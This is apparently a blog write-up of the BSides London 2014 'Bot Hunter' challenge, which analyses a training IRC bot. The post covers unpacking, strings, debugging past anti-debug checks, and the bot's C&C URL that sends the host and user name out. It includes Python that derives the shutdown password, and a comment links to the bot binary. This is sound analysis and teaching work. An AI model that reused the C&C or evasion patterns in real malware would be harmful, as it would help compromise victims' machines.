Pages

Wednesday, April 9, 2014

BSides London 2014 - The Bot Hunter challenge

The description for the challenge can be found on BSides website. The mission, as described there is "to investigate the executable and discover the bot’s command and control (C&C) infrastructure. Using the information you find, gain control of the botnet and shut it down". Sounds interesting :)


 1 General static analysis

1.1 PE file analysis

The PEiD tool does not find the bot to be packed in normal scanning mode:


But if we change to Deep Scan or Hardcore Scan:



We can successfully unpack the bot:

$ upx -d -v bot.exe -o bot_unpacked.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2011
UPX 3.08 Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011

File size Ratio Format Name
-------------------- ------ ----------- -----------
65536 <- 33280="" 50.78="" bot_unpacked.exe="" font="" pe="" win32="">

1.2 Strings


If we use the strings tool on the unpacked binary we get some interesting information:
  • Addresses of IRC servers the bot will try to connect
  • Another link where the bot retrieves some information from (channel name)
  • The channel (and password) that the bot will join
  • Other IRC related commands and responses
  • A strange string which may be a potential password ('HCNFJT@')
  • References to anti-debug measures
  • High level functions to access Internet resources

http://ghowen.me/malfor/cnc.php?id=
&uid=
6667
malfor
%s%d
misery mystery
USER %s 0 * :%s
NICK %s
Anti-debug
No malware here, honest guv!
PING
Resistance is futile
bubblegum
MODE %s +i
JOIN %s %s
MODE %s +k %s
TOPIC %s :%s
PRIVMSG
hello
PRIVMSG %s :Hi %s, I'm a bot that's part of the BSides London Challenge.
IDENT
PRIVMSG %s :%s / %s
SHUTDOWN
PRIVMSG %s :bingo - botnet shutting down
QUIT :Botnet shutdown
Botnet shutdown
Botnet has been shutdown - restart bot?
PRIVMSG %s :so close yet so far... wrong pw!
PRIVMSG %s :wrong pw

#malfor
irc.efnet.fr
irc.swepipe.se
irc.efnet.net
193.163.220.3
HCNFJT@

InternetCloseHandle
InternetOpenUrlA
InternetReadFile
InternetOpenA

If we attempt to manually retrieve the information from the URL extracted before, we get the name of the irc channel:
$ wget http://ghowen.me/malfor/cnc.php?id=673
$ cat cnc.php\?id\=673
#malfor-wales

1.3 IDA Pro

We can get more information by statically analysing the file with IDA Pro.
The main function:
  • Checks if the bot is still running (Function renamed as CheckIfRunning).
  • Checks if any debugger is present (Using IsDebuggerPresent function).
  • Initialises socket functionality (WSAStartup).



It then:
  • Gets the hostname.
  • Get the username of the machine.
  • Calls a function to reqeust the channel name from ghowen.me (Function renamed as GetChanName).
  • Tries to connect to the first IRC server (out of a list of 4) – irc.efnet.fr.
  • Executes its main bot functionality (Function renamed as mainLoop).
  • If the IRC server cannot be contacted, Sleeps for a while (30 seconds) then contacts the next one.

The mainLoop function is not obfuscated, making it easy to decipher the bot's functionality:
  • There is a loop that receives commands and parses them.
  • The bot seems to respond to hello, ident and shutdown commands, case insensitive. We will verify this later.
  • There is a block of code which deals with the bot shutdown.
  • The blocks before the shutdown functionality deal with parsing the password typed as the argument for the shutdown command.
  • The password checking block below (function renamed as verifyPass) uses as input the string we found previously – 'HCNFJT@'. This is a measure against static analysis – the string will be modified at run-time by another function. 
    Password check
Shutdown block code

  • If the password is not the correct one, another decision block presents 2 different messages. If the password was equal to the dynamic version of 'HCNFJT@', the message is: 'so close yet so far... wrong pw!'. Else, the message is simply 'wrong pw'. (Fast forward: that string will become 'iamborg')
    Second password check


2 General dynamic analysis

2.1 Registry

I've used the regshot tool to compare two snapshots of the registry, as well as the modified files, before and after running the bot.


No suspicius registry keys are created or modified when running the bot. However, interestingly we see that index.dat file is modified. This is a proof that the bot uses IE HTTP access or download functions, which were also extracted by the strings tool.



2.2 DNS

Using apateDNS tool we can redirect all DNS requests to a server of our choice. This method works because the server that the bot connects to are specified using hostnames (3/4 IRC servers and the initial server which provides the channel name).

We see in the picture below that the bot tries to resolve the following addresses:
ghowen.me
irc.efnet.fr

We know the first URL is over HTTP from strings output. If we set up a netcat listener on the machine spcified in the DNS reply field, we can also see the request:

$ sudo nc -lvvvp 80
[sudo] password for liv:
Listening on [0.0.0.0] (family 0, port 80)
Connection from [192.168.1.65] port 80 [tcp/http] accepted (family 2, sport 34051)
GET /malfor/cnc.php?id=firefly&uid=liv HTTP/1.1
User-Agent: AppleMac
Host: ghowen.me

This is transmitting the hostname and current user name, and will receive the channel name (if the address is not redirected).


2.3 Traffic capture

We can use Wireshark to view all the network traffic generated by the bot, when connected to the Internet.

What we'll see in the capture:
  • DNS requests to obtain the IP addresses of the hosts mentioned above.
  • A TCP stream with ghowen.me domain to obtain the channel name.
  • Another TCP stream representing the IRC activity. Here we see again the channel name and the password:
/j #malfor-wales bubblegum


2.4 Debugging

For this we'll use OllyDbg. The unpacked bot executable refuses to run and prsents the message:

As we already know, this uses the IsDebuggerPresent anti-debugging technique, we'll bypass it:
  • The Phant0m plugin is the easiest option, if we check the Hide fom PEB option (The IsdDebuggerPresent function accesses a member of this structure – BeingDebugged field):
    Phant0m plugin options

  • The 'IsDebuggerPresent' check is easy to bypass manualy – we just patch the function to return 0 after we load the executable, before letting it run in the debugger (This needs to be done every time the program is debugged. The alternative is to patch the binary).

IsDebuggerPresent - before patching
IsDebuggerPresent - after patching



2.5 Simulate the IRC server

Using ApateDNS we redirect the queries for the IP of the IRC server to a controlled machine. We also set up an IRC server on thet machine (I've used ircd-irc2, no configuration needed, just installed it and started the service).
If the bot cannot connect to the first domain and get the channel name, it will connect to #malfor instead of #malfor-wales. No problems.
The we can use an IRC client to connect to the local server and interact with the bot in a controlled environment.

2.6 Interact with the bot

We can start the bot in OllyDbg and interact with it to watch the flow. It responds to the hello, ident and shutdown commands.

/privmsg uop11204 hello
/privmsg uop11204 ident
/privmsg uop11204 shutdown mypass

2.7 Shutdown

2.7.1 First password

If we watch the execution flow of the program for shutdown command, we see the following potential password instead of the encoded string: 'iamborg'.
Potential password: iamborg
 
Unfortunately, if we try it, it's not the correct one:
so close yet so far... wrong pw!

2.7.2 Passphrase algorithm

The string from above is just an input (a key actually) for the password checking algorithm. This was stored obfuscated in the binary, as a protection measure against static analysis. If we trace this string in Ida Pro, we find the function which initialises it in the main loop (renamed as InitializeKey in the image below).
We can reconstruct the key building algorithm from the code block below using the following short python code snippet:

# build keyphrase
s = "HCNFJT@"
k = 0x21
print "".join([chr(ord(s[i]) ^ (k + i)) for i in xrange(len(s))])

iamborg

Initialise obfuscation key


2.7.3 Real password

While we're still debugging, we'll also see the real password as a string, before a comparison it's made:



We observe that it's dependent on two inputs: the username that's issueing the command and the passphrase 'iamborg'.
In this case, the final password was observed to be “JQLAYSSWWCE“.



2.7.4 Password checking algotihm

The password building algotihm is visible in the function below:
VerifyPass function

If we follow the code, the function takes the two inputs – the username and the passphrase, adds the ASCII codes for letter i of each string, takes the modulo 0x1a and adds 0x41 (if the username is longer than the passphrase, it's done repeatedly).

2.7.5 Code

The simples way to dscribe the algorithm is using code:
# password building
username = sys.argv[1]
key = "iamborg"
print "".join([chr((ord(username[i]) + ord(key[i % len(key)])) % 0x1a + 0x41) for i in xrange(len(username))])

This takes as input the desired username and produces the corresponding password to shutdown the bots.

2.7.6 Miscellaneous

The code which parses the data received from the network using recv function was tested for possible buffer overflows. The size of the buffer was larger than the number of bytes read by recv() system call.

There is a section of code which should remove a key from registry (in case the bot is not restarted after shutdown) but the function that deletes the key returns the error INVALID_HANDLE, as the registry key handle is NULL.
Delete bot from registry

4 comments:

  1. Hi there, I'm looking for the binary bot.exe.
    Do you by any chance have the binary somewhere?
    Please help.
    Thanks

    ReplyDelete
    Replies
    1. http://rgho.st/download/6hlz7Xbkh/74145a939ee2c381a08bd43003bfdf7c3210cb7e/74145a939ee2c381a08bd43003bfdf7c3210cb7e/bot.exe

      Enjoy!

      Delete
  2. Woot1 Thanks a lot!!!!!

    ReplyDelete